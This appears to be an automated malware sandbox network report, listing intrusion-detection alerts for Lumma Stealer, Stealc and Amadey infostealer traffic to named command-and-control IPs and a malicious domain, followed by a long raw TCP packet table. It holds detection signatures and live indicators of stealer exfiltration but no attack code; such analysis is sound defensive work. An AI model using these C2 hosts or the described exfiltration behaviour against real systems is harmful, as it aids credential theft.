2024-12-10T05:10:26.827527+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49872	104.21.64.1	443	TCP
2024-12-10T05:10:27.843439+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49872	104.21.64.1	443	TCP
2024-12-10T05:10:27.843439+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49872	104.21.64.1	443	TCP
2024-12-10T05:10:27.913288+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49874	185.215.113.16	80	TCP
2024-12-10T05:10:29.135547+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:29.135547+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:29.878319+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:29.878319+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-10T05:10:32.128327+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-10T05:10:32.128327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-10T05:10:35.025308+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49894	104.21.64.1	443	TCP
2024-12-10T05:10:35.025308+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49894	104.21.64.1	443	TCP
2024-12-10T05:10:35.039111+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49893	185.215.113.43	80	TCP
2024-12-10T05:10:35.997542+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49895	185.215.113.206	80	TCP
2024-12-10T05:10:36.484477+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49895	185.215.113.206	80	TCP
2024-12-10T05:10:36.505137+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49901	185.215.113.16	80	TCP
2024-12-10T05:10:36.605182+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49895	TCP
2024-12-10T05:10:36.925420+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49895	185.215.113.206	80	TCP
2024-12-10T05:10:37.046455+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49895	TCP
2024-12-10T05:10:37.707948+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49906	104.21.64.1	443	TCP
2024-12-10T05:10:37.707948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49906	104.21.64.1	443	TCP
2024-12-10T05:10:38.333505+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49895	185.215.113.206	80	TCP
2024-12-10T05:10:39.710111+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49895	185.215.113.206	80	TCP
2024-12-10T05:10:41.348486+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49913	104.21.64.1	443	TCP
2024-12-10T05:10:41.348486+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49913	104.21.64.1	443	TCP
2024-12-10T05:10:42.102221+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49913	104.21.64.1	443	TCP
2024-12-10T05:10:42.311455+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49914	185.215.113.43	80	TCP
2024-12-10T05:10:42.451556+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:10:42.451556+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:10:43.373021+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:10:43.373021+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49915	104.21.64.1	443	TCP
2024-12-10T05:10:43.766167+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49921	185.215.113.16	80	TCP
2024-12-10T05:10:45.346376+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:10:45.346376+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:10:45.795054+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49937	104.21.64.1	443	TCP
2024-12-10T05:10:45.795054+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49937	104.21.64.1	443	TCP
2024-12-10T05:10:46.101982+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:10:46.101982+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49934	104.21.64.1	443	TCP
2024-12-10T05:10:48.455172+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49948	104.21.64.1	443	TCP
2024-12-10T05:10:48.455172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49948	104.21.64.1	443	TCP
2024-12-10T05:10:52.162297+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49967	104.21.64.1	443	TCP
2024-12-10T05:10:52.162297+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49967	104.21.64.1	443	TCP
2024-12-10T05:10:52.385054+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49966	185.215.113.43	80	TCP
2024-12-10T05:10:52.886996+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49967	104.21.64.1	443	TCP
2024-12-10T05:10:53.038998+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49972	104.21.64.1	443	TCP
2024-12-10T05:10:53.038998+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49972	104.21.64.1	443	TCP
2024-12-10T05:10:54.450995+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49984	185.215.113.16	80	TCP
2024-12-10T05:10:58.305422+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	49993	104.21.64.1	443	TCP
2024-12-10T05:10:58.305422+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49993	104.21.64.1	443	TCP
2024-12-10T05:11:25.628050+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	50041	104.21.64.1	443	TCP
2024-12-10T05:11:25.628050+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50041	104.21.64.1	443	TCP
2024-12-10T05:11:26.469818+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50041	104.21.64.1	443	TCP
2024-12-10T05:11:26.469818+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50041	104.21.64.1	443	TCP
2024-12-10T05:11:34.979574+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.5	50042	104.21.64.1	443	TCP
2024-12-10T05:11:34.979574+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50042	104.21.64.1	443	TCP
2024-12-10T05:11:35.991702+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50042	104.21.64.1	443	TCP
2024-12-10T05:11:35.991702+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50042	104.21.64.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 05:10:04.512708902 CET	49821	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:04.631977081 CET	80	49821	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:04.632071018 CET	49821	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:04.633150101 CET	49821	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:04.752362013 CET	80	49821	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:05.983217001 CET	80	49821	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:05.983316898 CET	49821	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:07.494856119 CET	49821	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:07.495285988 CET	49828	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:07.614589930 CET	80	49821	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:07.614630938 CET	80	49828	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:07.614684105 CET	49821	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:07.614753008 CET	49828	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:07.614998102 CET	49828	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:07.734234095 CET	80	49828	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:08.976474047 CET	80	49828	185.215.113.43	192.168.2.5
Dec 10, 2024 05:10:08.976531029 CET	49828	80	192.168.2.5	185.215.113.43
Dec 10, 2024 05:10:08.980850935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:09.101131916 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:09.101253986 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:09.101495981 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:09.220681906 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445614100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445655107 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445664883 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445728064 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.445765972 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.445842981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445853949 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445863962 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445873976 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.445890903 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.445914030 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.446054935 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.446065903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.446070910 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.446120024 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.564976931 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.565051079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.565094948 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.565140963 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.569176912 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.569238901 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.569281101 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.569324017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.638035059 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.638103962 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.638237953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.638387918 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.642210007 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.642276049 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.642298937 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.642347097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.650609016 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.650655985 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.650736094 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.650778055 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.659008026 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.659084082 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.659101009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.659146070 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.667342901 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.667393923 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.667457104 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.667501926 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.675700903 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.675843954 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.675882101 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.675903082 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.684124947 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.684182882 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.684204102 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.684247017 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.692457914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.692512035 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.692606926 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.692645073 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.701117992 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.701172113 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.701343060 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.701390982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.709171057 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.709219933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.709296942 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.709346056 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.716749907 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.716805935 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.716922045 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.716969013 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.724360943 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.724426985 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.724446058 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.724489927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.830204964 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.830279112 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.830300093 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.830332994 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.832475901 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.832526922 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.832556009 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.832598925 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.835995913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.836046934 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.836113930 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.836163998 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.840540886 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.840595007 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.840637922 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.840686083 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.845062971 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.845108986 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.845160961 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.845208883 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.849623919 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.849672079 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.849767923 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.849813938 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.854156971 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.854203939 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.854274035 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.854321003 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.858696938 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.858747959 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.858802080 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.858846903 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.863274097 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.863323927 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.863503933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.863550901 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.867769003 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.867820978 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.867861032 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.867907047 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.872271061 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.872323990 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.872381926 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.872427940 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.876816034 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.876866102 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.877105951 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.877151966 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.881340981 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.881391048 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.881431103 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.881478071 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.885855913 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.885905027 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.886045933 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.886094093 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.890413046 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.890470982 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.890484095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.890506983 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.894908905 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.894961119 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.895000935 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.895049095 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.899444103 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.899490118 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.899539948 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.899588108 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.903992891 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.904038906 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.904078007 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.904119968 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.908476114 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.908530951 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.908571005 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.908627033 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.913048029 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.913103104 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.913136959 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.913182974 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.917565107 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.917612076 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.917646885 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.917690992 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:10.922071934 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:10.922123909 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.022425890 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.022527933 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.022598028 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.022649050 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.024257898 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.024336100 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.024343967 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.024382114 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.027034044 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.027085066 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.027220011 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.027271032 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.030620098 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.030668020 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.030740023 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.030790091 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.034229994 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.034276962 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.034348011 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.034394979 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.037789106 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.037816048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.037837982 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.037859917 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.041174889 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.041213989 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.041224003 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.041256905 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.044433117 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.044481039 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.044519901 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.044568062 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.047631025 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.047679901 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.047718048 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.047763109 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.050839901 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.050888062 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.050956011 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.051002026 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.054069042 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.054116011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.054178953 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.054230928 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.057766914 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.057780027 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.057820082 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.060517073 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.060564995 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.060604095 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.060647011 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.063749075 CET	80	49833	31.41.244.11	192.168.2.5
Dec 10, 2024 05:10:11.063800097 CET	49833	80	192.168.2.5	31.41.244.11
Dec 10, 2024 05:10:11.063847065 CET	80	49833	31.41.244.11	192.168.2.5
